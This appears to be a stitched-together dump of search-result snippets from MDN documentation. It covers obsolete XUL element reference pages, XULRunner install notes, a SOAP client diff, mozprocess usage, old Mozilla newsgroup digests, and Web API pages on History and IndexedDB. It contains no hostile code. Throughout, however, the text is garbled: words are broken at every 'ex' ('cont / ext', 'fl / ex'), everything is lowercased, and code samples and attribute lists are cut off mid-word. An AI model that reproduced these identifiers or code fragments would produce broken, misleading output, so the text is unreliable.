example, by using a value of treechildren, the condition will only match when placing elements directly inside a treechildren tag.
grippy - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] an element that may be used inside a splitter which can be used to collapse a sibling element of the splitter.
...
examples (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controlle...
...rs, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequ...
listcols - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a container for the columns of a listbox, each of which are created with the listcol element.
...
example <!-- creates a two column listbox --> <listbox> <listcols> <listcol fl
ex="1"/> <listcol fl
ex="1"/> </listcols> <listitem> <listcell label="buck"/> <listcell label="rogers"/> </listitem> <listitem> <listcell label="john"/> <listcell label="painter"/> </listitem> </listbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal...
..., orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), g...
page - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] similar to a window,
except it should be used for xul files that are to be loaded into an iframe.
...
examples (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hi...
...dden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceur...
popupset - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a container for menupopup, panel and tooltip elements.
...
examples <popupset> <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> <label value="right click for popup" cont
ext="clipmenu"/> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, re...
...moveelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(...
queryset - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a container for query elements when more than one query is used.
... attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , ,...
... fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), ...
rule - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a rule is used in a template.
... attributes iscontainer, isempty, parent, parsetype
examples (
example needed) attributes iscontainer type: boolean indicates whether rules match based on containment.
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition...
scrollbar - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] when a container's contents which are larger that the size of the container, scroll bars may be placed at the side of the container to allow the user to scroll around in the container.
... attributes curpos, increment, maxpos, pageincrement
examples <scrollbar curpos="5" maxpos="50"/> attributes curpos type: integer the current position of the scrollbar, which ranges from 0 to the value of the maxpos attribute.
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition...
scrollcorner - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] this element is used for the small box where the horizontal and vertical scrollbars meet.
...
examples (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hi...
...dden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceur...
stringbundleset - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a container for stringbundle elements.
...
examples (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hi...
...dden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceur...
tabpanel - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a individual panel in a tabpanels element.
...
examples (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents...
..., , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributen...
toolbargrippy - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] not in firefox the notch on the side of a toolbar which can be used to collapse and
expand it.
... properties accessible
examples (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width propert...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, ...
toolbarset - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] firefox only this element is used as a container for custom toolbars, which are added in the custom toolbar dialog.
...
examples (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, ...
...id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, looku...
toolbarspacer - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] firefox only a space between toolbar items.
... properties accessibletype
examples (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfe...
toolbarspring - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] firefox only a fl
exible space between toolbar items.
... properties accessibletype
examples (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeat...
treeitem - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a treeitem should be placed inside a treechildren element and should contain treerow elements.
... attributes container, empty, label, open, uri
examples (
example needed) attributes container type: boolean set to true if the element is to act as a container which can have child elements.
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition...
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
to register xulrunner with the system, open a command prompt and run xulrunner.
exe --register-global (to register for all users) or xulrunner.
exe --register-user (to register for one user only).
... installing xul applications xul applications can be obtained from various sources, and are typically packaged as a zip archive with the
extension .xulapp or .xpi.
... windows run the following command from the start menu -> run or from a command prompt: "c:\program files\mozilla xulrunner\1.8.0.1\xulrunner\xulrunner.
exe" --install-app "c:\documents and settings\user\desktop\myapplication.xpi" the application will be installed to c:\program files\vendorname\applicationname mac os x run the following command in a command prompt: /library/frameworks/xul.framework/xulrunner-bin --install-app ~/desktop/myapplication.xpi the application will be installed to /applications/vendor/appicationname linux run the following command in a command prompt: /opt/xulrunner/1.8.0.1/xulrunner/xulrunner --install-app ~/desktop/mya...
Using SOAP in XULRunner 1.9 - Archive of obsolete content
after some
experimentation, the following seems to be the best way to speak soap in xulrunner.
...(there is a diff below.) you'll need: sasoapclient.js saxmlutils.js making a soap call var url = 'http://
example.com/soap/'; var ns = 'http://
example.com/soap/namespace'; var method = 'foo'; var params = { 'foo': 'bar', 'baz': 'bang' }; var callback = function(obj) { components.utils.reporterror(obj.tosource()); }; soapclient.proxy = url; var body = new soapobject(method); body.ns = ns; for (var k in params) { body.appendchild(new soapobject(k).val(params[k])); } var req = new soaprequ...
...est(url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, callback); diff between jqsoapclient.js and sasoapclient.js 42c42 < var jsout = $.xmltojson(xdata.respons
exml); --- > var jsout = xmlobjectifier.xmltojson(xdata.respons
exml); 46,60c46,62 < $.ajax({ < type: "post", < url: soapclient.proxy, < datatype: "xml", < processdata: false, < data: content, < complete: getresponse, < contenttype: soapclient.contenttype + "; charset=\"" + soapclient.charset + "\"", < beforesend: function(req) { < req.setrequestheader("method", "post"); < req.setrequestheader("content-length", soapclient.contentlength); < req.setrequestheader("soapserver", soapclient.soapserver); < req.setrequestheader("soapaction", soa...
Mozprocess - Archive of obsolete content
mozprocess utilizes and
extends subprocess.popen to these ends.
... api mozprocess.processhandler:processhandler is the central
exposed api for mozprocess.
...basic usage: process = processhandler(['command', '-line', 'arguments'], cwd=none, # working directory for cmd; defaults to none env={}, # environment to use for the process; defaults to os.environ )
exit_code = process.waitforfinish(timeout=60) # seconds see an
example in https://github.com/mozilla/mozbase/b...profilepath.py processhandler may be subclassed to handle process timeouts (by overriding the ontimeout() method), process completion (by overriding onfinish()), and to process the command output (by overriding processoutputline()).
reftest opportunities files - Archive of obsolete content
for
example, if some html is in an un
expected place and is supposed to be ignored, then we can match against an html file that is missing that
extra mark-up.
...sec0302 http://dbaron.org/css/test/sec0302_xml http://dbaron.org/css/test/parsing http://dbaron.org/css/test/parsing2 http://dbaron.org/css/test/parsing4 http://dbaron.org/css/test/parsing5 http://dbaron.org/css/test/parsing6 http://dbaron.org/css/test/sec040102 http://dbaron.org/css/test/casesens http://dbaron.org/css/test/xmltypesel http://dbaron.org/css/test/unitless http://dbaron.org/css/test/
exunit http://dbaron.org/css/test/emunit http://dbaron.org/css/test/sec040310 http://dbaron.org/css/test/parsing3 http://dbaron.org/css/test/selector_confusion http://dbaron.org/css/test/univsel http://dbaron.org/css/test/childsel http://dbaron.org/css/test/sibsel http://dbaron.org/css/test/attrsel http://dbaron.org/css/test/twoclass http://dbaron.org/css/test/xmlid http://dbaron.org/css/test/pseudo...
...arge tests from mozilla source tree parser/htmlparser/tests/html/xmp005.html parser/htmlparser/tests/html/value001.html parser/htmlparser/tests/html/utf8001.html parser/htmlparser/tests/html/usascii.html parser/htmlparser/tests/html/title01.html parser/htmlparser/tests/html/title.html parser/htmlparser/tests/html/tiny.html parser/htmlparser/tests/html/thead001.html parser/htmlparser/tests/html/t
ext003.html parser/htmlparser/tests/html/t
ext002.html parser/htmlparser/tests/html/t
ext001.html parser/htmlparser/tests/html/tbody001.html parser/htmlparser/tests/html/target01.html parser/htmlparser/tests/html/tag008.html parser/htmlparser/tests/html/tag007.html parser/htmlparser/tests/html/tag006.html parser/htmlparser/tests/html/tag005.html parser/htmlparser/tests/html/tag004.html parser/htmlpars...
xbDesignMode.js - Archive of obsolete content
/* ***** begin license block ***** * version: mpl 1.1/gpl 2.0/lgpl 2.1 * * the contents of this file are subject to the mozilla public license version * 1.1 (the "license"); you may not use this file
except in compliance with * the license.
... you may obtain a copy of the license at * http://www.mozilla.org/mpl/ * * software distributed under the license is distributed on an "as is" basis, * without warranty of any kind, either
express or implied.
...ocument = this.miframeelement.contentdocument; this.meditordocument.designmode = "on"; } else { // ie this.meditordocument = this.miframeelement.contentwindow.document; this.meditordocument.designmode = "on"; // ie needs to reget the document element after designmode was set this.meditordocument = this.miframeelement.contentwindow.document; } } xbdesignmode.prototype.
execcommand = function (acommandname, aparam){ if (this.meditordocument) this.meditordocument.
execcommand(acommandname, false, aparam); else throw "no meditordocument found"; } xbdesignmode.prototype.setcsscreation = function (ausecss){ if (this.meditordocument) this.meditordocument.
execcommand("usecss", false, ausecss); else throw "no meditordocument found"; } ...
2006-10-13 - Archive of obsolete content
user questions about a open/saveas bug that already
exisits: https://bugzilla.mozilla.org/show_bug.cgi?id=347230 installer for 2.0rc2 ehume gives the developers a thumbs up for the new installer for 2.0rc2 having a t
extfield where you can type in the installation directory.
... firefox browser problem: width:30
ex does not respect font discussion about a font rendering problem with firefox print on the firefox cont
ext menu user would like discussion about why the bug https://bugzilla.mozilla.org/show_bug.cgi?id=204519 is a wontfix.
... (user feels print belongs on the cont
ext menu along with back, reload, etc.) questions about programming for firefox a student questions how to create an
extension that changes fonts, and how to capture website content before it is displayed.
2006-11-17 - Archive of obsolete content
this user want to add a filter to his tb, so that it could color the mail that is for a particular recepient, however, the regular
expression that he uses doesn't work and want suggestion from others.
... how to access xyz.properties items more detail and code
examples are provided in the posting.
...however, david bienvenu stated that the options already
exist in tb 2.0, just that it is a hidden.
2006-09-29 - Archive of obsolete content
discussions
extension based testing - someone is in the process of writing a small
extension that tests firefox's help in terms of table-of-contents and search looking for firefox triagers to evaluate a triage tool - a phd student is working on a way to assist triagers.
...which developer(s) has/have the correct
expertise for a particular bug report).
... help testing helper
extension - someone made a new
extension.
History.scrollRestoration - Web APIs
the scrollrestoration property of history interface allows web applications to
explicitly set default scroll restoration behavior on history navigation.
...
examples query the current scroll restoration behavior.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollrestorationchrome full support 46edge full support 79firefox full support 46ie no support noopera ...
History.state - Web APIs
examples the code below logs the value of history.state before using the pushstate() method to push a value to the history.
... the n
ext line logs the value to the console again, showing that history.state now has a value.
... // should be null because we haven't modified the history stack yet console.log(`history.state before pushstate: ${history.state}`); // now push something on the stack history.pushstate({name: '
example'}, "pushstate
example", 'page3.html'); // now state has a value.
HkdfParams - Web APIs
info a buffersource representing application-specific cont
extual information.
... this is used to bind the derived key to an application or cont
ext, and enables you to derive different keys for different cont
exts while using the same input key material.
...
examples see the
examples for subtlecrypto.derivekey().
IDBCursor.request - Web APIs
examples when you open a cursor, the request property is then available on that cursor object, to tell you what request object the cursor originated from.
... for
example: function displaydata() { list.innerhtml = ''; var transaction = db.transaction(['rushalbumlist'], 'readonly'); var objectstore = transaction.objectstore('rushalbumlist'); var request = objectstore.opencursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.request); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment ind
exed database api draftthe definition of 'request' in that spec...
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestchrome full support 76edge full support 79firefox full support 77ie no support noopera full support 63safari ?
IDBDatabase: error event - Web APIs
bubbles yes cancelable no interface event event handler property onerror
examples this
example opens a database and tries to add a record, listening for the error event for the add() operation (this will occur if, for
example, a record with the given tasktitle already
exists): // open the database const dbopenrequest = window.ind
exeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will con...
...tain objectstore.createind
ex('hours', 'hours', { unique: false }); objectstore.createind
ex('minutes', 'minutes', { unique: false }); objectstore.createind
ex('day', 'day', { unique: false }); objectstore.createind
ex('month', 'month', { unique: false }); objectstore.createind
ex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const db = dbopenrequest.result; db.addeventlistener('error', () => { console.log(`error adding new item: ${newitem.tasktitle}`); }); // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); const objectstore = transaction.objectstore('todoli...
...st'); const objectstorerequest = objectstore.add(newitem); }; the same
example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.ind
exeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createind
ex('hours', 'hours', { unique: false }); objectstore.createind
ex('minutes', 'minutes', { unique: false }); objectstore.createind
ex('day', 'day', { unique: false }); objectstore.createind
ex('month', 'month', { unique: false }); objectstore.createind
ex('year', 'year', { unique: fals...
IDBDatabase: versionchange event - Web APIs
bubbles no cancelable no interface event event handler property onversionchange
examples this
example opens a database and, on success, adds a listener to versionchange: // open the database const dbopenrequest = window.ind
exeddb.open('non
existent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createind
ex('hours', 'hours', { unique: false }); objectsto...
...re.createind
ex('minutes', 'minutes', { unique: false }); objectstore.createind
ex('day', 'day', { unique: false }); objectstore.createind
ex('month', 'month', { unique: false }); objectstore.createind
ex('year', 'year', { unique: false }); }; dbopenrequest.addeventlistener('success', event => { const db = event.target.result; db.addeventlistener('versionchange', event => { console.log('the version of this database has changed'); }); }); the same
example, using the onversionchange event handler property: // open the database const dbopenrequest = window.ind
exeddb.open('non
existent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'ta...
...sktitle' }); // define what data items the objectstore will contain objectstore.createind
ex('hours', 'hours', { unique: false }); objectstore.createind
ex('minutes', 'minutes', { unique: false }); objectstore.createind
ex('day', 'day', { unique: false }); objectstore.createind
ex('month', 'month', { unique: false }); objectstore.createind
ex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = event.target.result; db.onversionchange = event => { console.log('the version of this database has changed'); }; }; ...
IDBObjectStore.getKey() - Web APIs
exceptions this method may raise a dom
exception of one of the following types:
exception description transactioninactiveerror this idbobjectstore's transaction is inactive.
...
example let openrequest = ind
